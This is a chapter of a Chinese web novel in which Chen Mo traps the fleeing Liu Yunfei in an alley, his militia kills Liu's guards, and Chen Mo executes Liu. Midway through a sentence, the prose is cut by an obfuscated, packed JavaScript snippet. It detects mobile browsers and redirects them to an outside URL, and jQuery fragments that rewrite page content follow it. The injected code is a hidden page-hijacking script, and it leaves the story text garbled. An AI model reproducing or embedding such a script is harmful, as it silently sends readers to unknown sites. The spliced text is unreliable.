第四十一章 螳螂捕蝉

作品:《家有嫂嫂,我在荒年囤粮当地主

    夜,三更。


    青阳县城,陷入了最深沉的黑暗。


    春风楼外,负责“监视”的三十名衙役,也早已是人困马乏。


    他们围着几堆篝火,有的在打盹,有的则低声咒骂着那个让他们在这里喝西北风的刘云飞。


    突然,一阵夜枭的啼叫声,从远处传来凄厉而诡异。


    紧接着春风楼的后院,猛地窜起了冲天的火光!


    “走水啦!走水啦!”


    凄厉的叫喊声,瞬间划破了夜的宁静!


    负责带队的衙役班头,一个激灵从梦中惊醒,他看着那迅速蔓延的火势,脸色大变!


    “不好!快!快去救火!绝不能让那个小王八蛋跑了!”


    他焦急地嘶吼着,立刻分出一大半的人手,提着水桶,冲向了后院。


    一时间,整个春风楼,人声鼎沸,乱作一团。


    而就在所有人的注意力,都被那场大火吸引的瞬间。


    春风楼三楼,“天字一号房”的窗户,被无声地推开。


    几道黑色的身影如同壁虎般,悄无声息地从墙壁上滑下,护着一个同样换上了一身夜行衣的身影,迅速地融入了街角的阴影之中。


    为首之人,正是刘云飞!


    他的脸上,哪里还有半分醉意,取而代之的是计谋得逞的冰冷的快意。


    “走!”


    他低喝一声,在那几个黑衣人的护卫下,如同一群夜行的鬼魅,避开了所有巡逻的更夫和官差,朝着城北那座早已约定好的废弃的城隍庙,疾驰而去!


    那里,有他的人,为他准备好了快马和盘缠。


    只要离开这座城,他便如龙归大海,再无人能阻拦他前往京城,去启动那足以将陈默碾成齑粉的真正的雷霆之力!


    然而,就在他们即将穿过最后一条小巷,抵达城隍庙时。


    为首的那名黑衣护卫,脚步猛地一顿!


    他那双如同鹰隼般锐利的眼睛,死死地盯着前方巷口,那道不知何时,悄然出现的背对着他们,沐浴在月光下的身影。


    那是一个书生。


    一个穿着一身洗得发白的青色长衫,手中提着一盏早已熄灭的灯笼,独自一人,站在这深夜的无人的小巷里的书生。


    他的身影,看起来是那样的单薄,那样的文弱。


    但不知为何,他只是静静地站在那里,便散发出一股比这深夜还要冰冷,比这小巷还要深邃的令人窒息的压力。


    “什么人?”


    黑衣护卫厉声喝道,他身后的几人,也瞬间拔出了腰间的绣春刀,将刘云飞死死地护在了中间。


    那书生缓缓地转过了身。


    清冷的月光,照亮了他那张清秀的带着一丝淡淡笑意的脸庞。


    “刘公子,”


    他开口了声音不大,却清晰地传入了每一个人的耳中,“这么晚了还急着赶路。这是要……去哪啊?”


    当看清那张脸的瞬间,刘云飞的瞳孔,猛地缩成了针尖大小!


    他脸上的得意与快意,瞬间凝固,取而代之的是无尽的活见鬼一般的惊骇!


    “陈……陈默?”


    他失声尖叫,声音里充满了难以置信,“你……你怎么会在这里?你怎么知道……”


    “我怎么知道这场火是你自己放的?”


    陈默笑了那笑容在刘云飞看来比魔鬼还要可怕,“我怎么知道,你要金蝉脱壳,连夜跑路?”


    他轻轻地,将手中那盏熄灭的灯笼,扔在了地上。


    “刘公子,你以为只有你会唱戏吗?”


    他顿了顿抬起头环视着小巷两侧,那黑漆漆的屋顶,朗声说道:“玄武卫的弟兄们,看了这么久的戏,也该……出来活动活动筋骨了。”


    他话音刚落!


    小巷两侧的屋顶之上突然齐刷刷地,站起了数十道黑色的身影!


    他们手持着清一色的环首刀,身披着简陋却坚固的皮甲沉默地居高临下地,俯视着巷子里的刘云飞一行人,如同狼群,在注视着被逼入绝境的猎物。


    为首一人,正是陈四!


    “你……你……”


    刘云飞看着这从天而降的伏兵,只觉得一股寒气从脚底板,直冲天灵盖!


    他彻底明白了!


    什么谣言,什么官府查案,什么保护证人……


    这一切从头到尾,都是一个局!


    一个由眼前这个少年,亲手设下的环环相扣的绝杀之局!


    他以为自己是下棋的人,却没想到自己连同整个青阳县城,都只是对方棋盘上的一颗,棋子!


    “保护少主!冲出去!”


    为首那名黑衣护卫,发出了一声嘶吼!


    他知道今日已是必死之局,唯有拼死一搏,才有可能为少主,杀出一条血路!


    五名镇抚司的番子,瞬间爆发出惊人的战力!


    他们手中的绣春刀,化作五道致命的流光,朝着陈默,疯狂地扑了过来!


    “杀!”


    屋顶之上,陈四怒吼一声,带着玄武卫的士兵,如同下山的猛虎,从两侧的屋顶一跃而下,朝着那几个黑衣人合围而去!


    一场惨烈的巷战,瞬间爆发!


    镇抚司的番子,确实是精锐中的精锐。


    他们每一个人的武功,都远在玄武卫的士兵之上。


    刀法狠辣,配合默契。


    但奈何,玄武卫的人数是他们的十倍!


    而且,这些经过陈默残酷训练,又经历了血火洗礼的士兵,早已不再是当初的农夫。


    他们悍不畏死,三五人一组,结成简单的战阵,用最野蛮也最有效的方式,层层叠叠地,将那五名番子,死死地困在了中央!


    “铛!铛!铛!”


    兵器碰撞的火星,在小巷中,不断地迸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061862|179207||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    溅!


    惨叫声和利刃入肉的声音,此起彼伏!


    一个玄武卫的士兵,被一名番子一刀砍中肩膀,他却不退反进,死死地抱住了对方的身体,为身后的同伴,创造出了致命的机会!


    “噗嗤!”


    三柄环首刀同时捅进了那名番子的后心!


    以命换命!


    这就是陈默教给他们的最残酷,也最有效的战场法则!


    不过短短一炷香的时间,那五名不可一世的镇抚司番子,便尽数被斩杀当场!


    而玄武卫也为此付出了七八人重伤,两人阵亡的惨重代价。


    整个小巷,只剩下最后两个人。


    陈默和那个早已被吓得瘫软在地,面如死灰的刘云飞。


    “不……不要杀我……不要杀我!”


    刘云飞手脚并用地往后蹭裤裆处一片湿热,竟是直接被吓尿了,“我把钱都给你!我把我们家所有的钱都给你!求求你,饶我一命!”


    陈默缓缓地,走到他的面前,居高临下地,俯视着他。


    “我给过你机会了。”


    “在你爹死后,你若是选择远走高飞,我或许还真拿你没什么办法。”


    “可惜……”


    陈默的眼中,没有一丝怜悯,“你偏偏,选了最蠢的一条路。”


    他缓缓举起了手中的刀。


    “下辈子,投个好胎。”


    “不!”


    在刘云飞那凄厉绝望的惨嚎声中,冰冷的刀锋,一闪而过。


    世界,清净了。


    陈默看着地上那两具尸体,缓缓吐出了一口浊气。


    他知道,从这一刻起,来自义丰粮行,来自刘家的威胁,才算真正地被彻底地,连根拔除。


    然而,就在这时,一阵急促的由远及近的大量甲胄摩擦和脚步奔跑的声音,传了过来。


    “快!这边有动静!快围过去!”


    是县令周正源的官差!


    那场大火,终究还是惊动了整个县城!


    “东家!我们被包围了!”


    陈四脸色大变。


    “慌什么。”


    陈默的脸上,却露出了一丝诡异的笑容。


    他看了一眼地上的刘云飞,又看了看远处那越来越近的火光,突然做出了一个让所有人都意想不到的决定。


    “陈四,带着我们的人,处理好伤员和尸体从屋顶立刻撤退!”


    “那您呢?”


    陈四急道。


    “我?”


    陈默笑了笑。


    他弯下腰,捡起了地上那柄,沾染着刘云飞鲜血的属于镇抚司的绣春刀。


    然后他独自一人,迎着那上百名手持火把,杀气腾腾的官差缓缓地走了过去。


    “我去找那位周县令,聊一聊。”


    “有些戏,既然开了场,总得……唱完了才好收场。”